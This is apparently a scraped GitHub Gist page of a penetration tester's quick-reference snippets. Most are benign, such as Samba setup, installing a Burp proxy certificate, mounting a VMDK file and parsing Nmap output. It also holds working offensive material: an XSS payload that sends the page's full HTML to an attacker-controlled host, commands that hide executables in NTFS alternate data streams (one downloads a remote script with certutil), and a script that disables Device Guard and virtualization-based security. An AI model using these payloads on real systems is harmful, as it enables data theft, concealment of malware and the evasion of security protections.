Skip to content

Instantly share code, notes, and snippets.

apt-get install samba
cd /etc/samba/
Optional:
rm smb.conf
touch smb.conf
nano smb.conf
[Name you want to get shown of the folder]
path = path of folder you want to share
@interference-security
interference-security / linux-https-proxy.txt
Last active April 17, 2018 09:03
Linux System-level HTTP(S) proxy
Generate "burp.der" certificate
Convert DER to PEM:
openssl x509 -inform der -in burp.der -out burp.pem
Install Burp certificate in Linux:
cp burp.pem /etc/ssl/certs/
update-ca-certificates
cp burp.pem burp.crt
cp burp.crt /usr/local/share/ca-certificates/
@interference-security
interference-security / send_html_source_using_xss.js
Created June 1, 2018 01:37
JavaScript code to send HTML+JS source of current page using XSS
//Using GET method
//Use it for URL encoded data delivery
d=encodeURI(document.documentElement.outerHTML)
//Use it for base64 encoded data delivery
//d=window.btoa(document.documentElement.outerHTML)
x = new XMLHttpRequest();
x.open("GET","//your_site:8000?d="+d,true)
x.send();
@interference-security
interference-security / mount-vmdk.sh
Created June 11, 2018 11:04
Mount a VMware virtual disk (.vmdk) file
# Source: https://twitter.com/DamianRath/status/1005564997215444993
# Mount a VMware virtual disk (.vmdk) file
function vmmount() {
if [ ! -d "/tmp/vmmount" ]; then
sudo mkdir -p /tmp/vmmount
fi
sudo mount $1 /tmp/vmmount/ -o ro,loop=/dev/loop1,offset=32768 -t ntfs
}
AngularJS: angular.version
ReactJS: React.version
JQuery: $().jquery;
Remove disabled attribute:
html_elements = ["input", "select", "button"]; for(j=0; j<html_elements.length; j++) { for(i=0; i<document.getElementsByTagName(html_elements[j]).length; i++) { document.getElementsByTagName(html_elements[j])[i].disabled=false; } }
@interference-security
interference-security / Useful_commands.txt
Last active August 13, 2018 18:31
Useful quick commands
#Nmap open ports:
Linux: grep -i ".*/tcp.*open.*" filename.nmap | cut -d "/" -f1 | sort -u -n | tr "\n" "," | sed 's/,$//'
Windows: grep -i ".*/tcp.*open.*" filename.nmap | cut -d "/" -f1 | sort2 -u -n | tr -s "\r\n" "," | sed "s/,$//"
Powershell: Select-String -Path .\filename.nmap -Pattern ".*/tcp.*open.*" | Select-Object -ExpandProperty Line | %{$_.Split('/')[0]} | Sort-Object -Unique | %{$_.replace("`r","a")}
#Linux ping check:
for ip in `cat TARGETS.txt`; do data=`ping $ip -c 1 | grep -i "packet loss" | cut -d "," -f3`; echo "$ip,$data"; done
#openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
import BaseHTTPServer, SimpleHTTPServer, logging
import ssl
import sys
import cgi
class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
#logging.error(self.headers)
@interference-security
interference-security / burp-android-noughat.txt
Created August 13, 2018 13:26
Proxy in Android N and above
#Source: https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/
openssl x509 -inform DER -in cacert.der -out cacert.pem
mv cacert.pem `openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1`.0
adb root
adb remount
adb push <cert>.0 /sdcard/
mv /sdcard/<cert>.0 /system/etc/security/cacerts/
chmod 644 /system/etc/security/cacerts/<cert>.0
@interference-security
interference-security / Exe_ADS_Methods.txt
Created May 29, 2019 09:53 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams
#Add content to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
@interference-security
interference-security / disable-device-guard-virtualization-based-security.txt
Created July 8, 2019 15:38
Disable Device Guard and Virtualization Based Security
#SCRIPT TO DISABLE DEVICE GUARD & VIRTUALIZATION BASED SECURITY
#https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage
mountvol X: /s
copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\SecConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO,DISABLE-VBS
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d